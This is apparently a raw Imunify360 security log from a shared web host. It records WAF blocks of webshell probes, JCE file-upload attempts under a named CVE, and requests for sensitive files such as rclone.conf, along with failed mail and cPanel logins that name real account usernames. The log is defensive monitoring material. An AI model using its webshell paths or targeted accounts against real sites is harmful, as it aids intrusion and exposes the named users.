plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/yukticlick/public_html/wp-content||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/index.php||SC:/home/yukticlick/public_html/images/index.php||


plugin: modsec
rule: 77350586
name: IM360 WAF: Suspicious access to wp-includes library directory
abuser: 172.202.30.101
country_id: 6252001
domain: yukticlick.com
description:
IM360 WAF: Suspicious access to wp-includes library directory||SC:/home/yukticlick/public_html/wp-includes||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.10.197.168
country_id: 2661886
description:
Jul 21 05:14:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.10.197.168 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.10.197.168
country_id: 2661886
description:
2026-07-21 05:14:45 dovecot_login authenticator failed for H=h-176-10-197-168.a444.priv.bahnhof.se ([46.42.19.159]) [176.10.197.168]:56738: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 24.137.47.81
country_id: 6251999
description:
Jul 21 05:14:49 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 24.137.47.81 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 24.137.47.81
country_id: 6251999
description:
2026-07-21 05:14:51 dovecot_login authenticator failed for H=dhcp-4-bc-9f-52-e4-f.cpe.i-zoom.net (191-210-159-32.user.vivozap.com.br) [24.137.47.81]:38098: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.90.111.74
country_id: 1269750
description:
2026-07-21 05:15:03 dovecot_login authenticator failed for H=([67.201.58.185]) [59.90.111.74]:45840: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 67.187.204.25
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/223735216 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 34.179.166.190
country_id: 2921044
domain: fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:34.179.166.190||TA:34.179.166.190||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.35.60.174
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/252794174 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 74.244.155.217
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/28784387 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 188.122.37.97
country_id: 2635167
description:
Jul 21 05:23:47 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 188.122.37.97 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.122.37.97
country_id: 2635167
description:
2026-07-21 05:23:49 dovecot_login authenticator failed for H=([210.99.124.119]) [188.122.37.97]:46468: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 144.24.209.174
country_id: 102358
description:
Jul 21 05:23:35 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 144.24.209.174 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 144.24.209.174
country_id: 102358
description:
2026-07-21 05:23:37 dovecot_login authenticator failed for H=([218.25.230.76]) [144.24.209.174]:51281: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.29.30.135
country_id: 1527747
description:
Jul 21 05:29:14 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.29.30.135 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 217.29.30.135
country_id: 1527747
description:
2026-07-21 05:29:16 dovecot_login authenticator failed for H=([38.108.83.81]) [217.29.30.135]:38365: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.154.171
country_id: 1733045
description:
Jul 21 05:29:23 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.154.171 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.154.171
country_id: 1733045
description:
2026-07-21 05:29:25 dovecot_login authenticator failed for H=([192.252.214.22]) [49.124.154.171]:47812: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 103.130.18.141
country_id: 1643084
domain: kallanigroup.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/some/config/file.ini||User:kallanigroup||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.175.162.178
country_id: 3865483
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/cc424058 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 198.71.84.222
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f71915490 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 91.92.42.135
country_id: 2750405
domain: globalgroupoman.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jce-cae2d26c.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 52.165.250.117
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/images/uploads/admin.php||SC:/home/ahsmarine/public_html/wp-content/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/images/about.php||SC:/home/ahsmarine/public_html/images||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/autoload_classmap.php||SC:/home/ahsmarine/public_html/wp-content/uploads/autoload_classmap.php||


plugin: modsec
rule: 77350390
name: IM360 WAF: Interaction with fake plugin
abuser: 172.202.30.101
country_id: 6252001
domain: ahsmarine.com
description:
IM360 WAF: Interaction with fake plugin||MV:/wp-content/plugins/pwnd/as.php||WPU:||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 132.145.20.138
country_id: 2635167
domain: fefkadirectorsunion.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 (compatible; TeamContactBot/1.0; +research)||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 27.49.16.129
country_id: 1694008
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/1d1536939 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.225.61.18
country_id: 6252001
description:
Jul 21 05:47:43 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.225.61.18 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 68.225.61.18
country_id: 6252001
description:
2026-07-21 05:47:45 dovecot_login authenticator failed for H=wsip-68-225-61-18.pn.at.cox.net ([174.64.199.87]) [68.225.61.18]:40981: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.61.251.4
country_id: 3686110
description:
2026-07-21 05:48:36 dovecot_login authenticator failed for H=([183.171.49.144]) [181.61.251.4]:55590: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.185.33.241
country_id: 1269750
description:
Jul 21 05:48:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.185.33.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 128.185.33.241
country_id: 1269750
description:
2026-07-21 05:48:50 dovecot_login authenticator failed for H=([61.178.82.215]) [128.185.33.241]:47200: 535 Incorrect authentication data (set_id=anoop.ps@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.61.251.4
country_id: 3686110
description:
Jul 21 05:48:34 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.61.251.4 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.131.220.154
country_id: 1835841
description:
2026-07-21 05:49:23 dovecot_login authenticator failed for H=([171.244.60.35]) [121.131.220.154]:58700: 535 Incorrect authentication data (set_id=anoop.ps)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.131.220.154
country_id: 1835841
description:
Jul 21 05:49:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.131.220.154 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 74.244.145.109
country_id: 3624060
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/2e2899804 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.170.99.195
country_id: 1269750
description:
2026-07-21 05:52:59 dovecot_login authenticator failed for H=(red.138.118.213.204.ssservicios.com.ar) [122.170.99.195]:59876: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 82.117.126.160
country_id: 2661886
description:
Jul 21 05:52:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 82.117.126.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.117.126.160
country_id: 2661886
description:
2026-07-21 05:52:48 dovecot_login authenticator failed for H=h82-117-126-160.cust.bredband2.com ([111.0.81.84]) [82.117.126.160]:55650: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.170.99.195
country_id: 1269750
description:
Jul 21 05:52:57 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.170.99.195 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 136.66.2.77
country_id: 6252001
domain: fefkadirectorsunion.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/storage/logs/laravel.log||User:fefkadirectors||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 46.2.168.222
country_id: 298795
domain: travelinbh.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/jce_qhr3q6ie.php||SC:/home/travelinbh/public_html/images/jce_qhr3q6ie.php||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/4.0 <a href=\"https://www.symbaloo.com/mix/fnaf-unblocked\">fnaf unblocked</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 75.228.12.187
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c7214525 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.140.115.44
country_id: 3703430
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/d1101800 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.210.164.158
country_id: 1210997
description:
Jul 21 06:36:48 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.210.164.158 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.210.164.158
country_id: 1210997
description:
2026-07-21 06:36:50 dovecot_plain authenticator failed for H=(squaliess) [180.210.164.158]:34604: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 67.140.214.74
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ea2523094 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 5740
name: ssh connection reset by peer
description:
Jul 21 06:44:44 vps sshd[2673932]: error: kex_exchange_identification: read: Connection reset by peer


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.226.56.106
country_id: 2661886
description:
2026-07-21 06:47:06 dovecot_login authenticator failed for H=c-83-226-56-106.bbcust.telenor.se ([213.234.11.10]) [83.226.56.106]:57856: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 210.206.24.237
country_id: 1835841
description:
Jul 21 06:46:46 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 210.206.24.237 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 210.206.24.237
country_id: 1835841
description:
2026-07-21 06:46:48 dovecot_login authenticator failed for H=([24.72.199.174]) [210.206.24.237]:7652: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 83.226.56.106
country_id: 2661886
description:
Jul 21 06:47:04 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 83.226.56.106 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.202.30.101
country_id: 6252001
domain: combinations.in
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/images/images/about.php||SC:/home/combinations/public_html/images||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.234.61.83
country_id: 1522867
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/733330646 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 96.248.17.75
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/7c3730153 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.188.204.213
country_id: 6252001
description:
2026-07-21 07:13:04 dovecot_login authenticator failed for H=(59-120-8-61.hinet-ip.hinet.net) [50.188.204.213]:48373: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.201.253.23
country_id: 99237
description:
2026-07-21 07:13:05 dovecot_login authenticator failed for H=([120.194.220.230]) [62.201.253.23]:49770: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.188.204.213
country_id: 6252001
description:
Jul 21 07:13:02 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.188.204.213 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.201.253.23
country_id: 99237
description:
Jul 21 07:13:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.201.253.23 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-21 07:13:04 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.147.248.23
country_id: 1269750
description:
2026-07-21 07:13:17 dovecot_login authenticator failed for H=([109.233.21.109]) [103.147.248.23]:38854: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.101.222.22
country_id: 1210997
description:
Jul 21 07:13:17 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.101.222.22 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.101.222.22
country_id: 1210997
description:
2026-07-21 07:13:19 dovecot_login authenticator failed for H=([121.229.107.184]) [165.101.222.22]:58845: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 221.120.2.74
country_id: 1668284
description:
Jul 21 07:13:21 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 221.120.2.74 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.120.2.74
country_id: 1668284
description:
2026-07-21 07:13:23 dovecot_login authenticator failed for H=221-120-2-74.emome-ip.hinet.net (143.38.109.208.host.secureserver.net) [221.120.2.74]:52475: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.100.121.127
country_id: 1605651
description:
Jul 21 07:13:30 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.100.121.127 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.121.127
country_id: 1605651
description:
2026-07-21 07:13:32 dovecot_login authenticator failed for H=171-100-121-127.static.asianet.co.th ([222.109.73.135]) [171.100.121.127]:39924: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.147.248.23
country_id: 1269750
description:
Jul 21 07:13:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.147.248.23 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.185.22.6
country_id: 1835841
description:
2026-07-21 07:17:00 dovecot_login authenticator failed for H=([208.85.238.114]) [211.185.22.6]:57249: 535 Incorrect authentication data (set_id=mbt@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.183.235.134
country_id: 6252001
description:
Jul 21 07:21:15 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.183.235.134 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.183.235.134
country_id: 6252001
description:
2026-07-21 07:21:17 dovecot_login authenticator failed for H=([206.84.230.48]) [65.183.235.134]:52514: 535 Incorrect authentication data (set_id=sajithkumar.pk@ibmcglobal.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 121.1.120.2
country_id: 1835841
description:
Jul 21 07:21:41 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 121.1.120.2 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.1.120.2
country_id: 1835841
description:
2026-07-21 07:21:43 dovecot_login authenticator failed for H=([124.83.9.141]) [121.1.120.2]:53158: 535 Incorrect authentication data (set_id=sajithkumar.pk)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.95.64.28
country_id: 6252001
description:
2026-07-21 07:22:00 dovecot_login authenticator failed for H=([182.95.61.82]) [70.95.64.28]:35378: 535 Incorrect authentication data (set_id=support@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.95.64.28
country_id: 6252001
description:
Jul 21 07:21:58 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.95.64.28 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 171.100.156.38
country_id: 1605651
description:
2026-07-21 07:22:22 dovecot_login authenticator failed for H=mail.sotus.co.th ([59.37.13.66]) [171.100.156.38]:49722: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 171.100.156.38
country_id: 1605651
description:
Jul 21 07:22:20 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 171.100.156.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.157.13.210
country_id: 3686110
description:
Jul 21 07:23:39 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.157.13.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.157.13.210
country_id: 3686110
description:
2026-07-21 07:23:41 dovecot_plain authenticator failed for H=(kienon) [190.157.13.210]:52056: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.29.183.53
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ae2071531 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 73.63.162.157
country_id: 6252001
description:
2026-07-21 07:30:05 dovecot_plain authenticator failed for H=c-73-63-162-157.hsd1.ca.comcast.net (ances) [73.63.162.157]:37506: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.119
country_id: 1668284
description:
2026-07-21 07:29:15 dovecot_login authenticator failed for H=([47.215.0.179]) [101.13.4.119]:34552: 535 Incorrect authentication data (set_id=khalid@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.4.119
country_id: 1668284
description:
Jul 21 07:29:13 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.4.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.151.67
country_id: 1733045
description:
Jul 21 07:29:24 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.151.67 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.67
country_id: 1733045
description:
2026-07-21 07:29:26 dovecot_login authenticator failed for H=([36.92.35.211]) [49.124.151.67]:47396: 535 Incorrect authentication data (set_id=khalid)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 73.63.162.157
country_id: 6252001
description:
Jul 21 07:30:03 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 73.63.162.157 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 73.120.5.67
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/c93766304 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: futuracare.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-278e950cd57fa7291b9393e09f2fd0f7.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.47.101.59
country_id: 1835841
domain: stcinemas.co
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/rclone.conf||User:stcinemas||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 171.234.8.175
country_id: 1562822
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"https://srv1062422.hstgr.cloud/index.php/H%E1%BA%A1t_gi%E1%BB%91ng_c%C3%A0_ph%C3%AA_ch%E1%BA%A5t_l%C6%B0%E1%BB%A3ng_%E2%80%93_N%E1%BB%81n_t%E1%BA%A3ng_cho_v%E1%BB%A5_m%C3%B9a_th%C3%A0nh_c%C3%B4ng\">\xe2\x80\x9cVi\xe1\xbb\x87n Eakmat \xc4\x90\xe1\xba\xafk L\xe1\xba\xafk\xe2\x80\x9d</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 103.160.213.217
country_id: 1643084
domain: idealloanz.com.au
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:nuclei-8d2102c0a98be3708f41eafd2b41432e.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 50.121.186.125
country_id: 6252001
description:
Jul 21 07:52:37 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 50.121.186.125 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.121.186.125
country_id: 6252001
description:
2026-07-21 07:52:39 dovecot_login authenticator failed for H=50-121-186-125.static.chtn.wv.ip.frontiernet.net ([174.64.199.85]) [50.121.186.125]:62446: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.101.138.172
country_id: 597427
description:
Jul 21 07:52:53 vps auth[2658401]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.101.138.172 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.101.138.172
country_id: 597427
description:
2026-07-21 07:52:55 dovecot_login authenticator failed for H=static-213-101-138-172.cust.tele2.lt ([95.82.7.89]) [213.101.138.172]:33058: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 217.60.120.179
country_id: 2661886
domain: globalgroupoman.com
description:
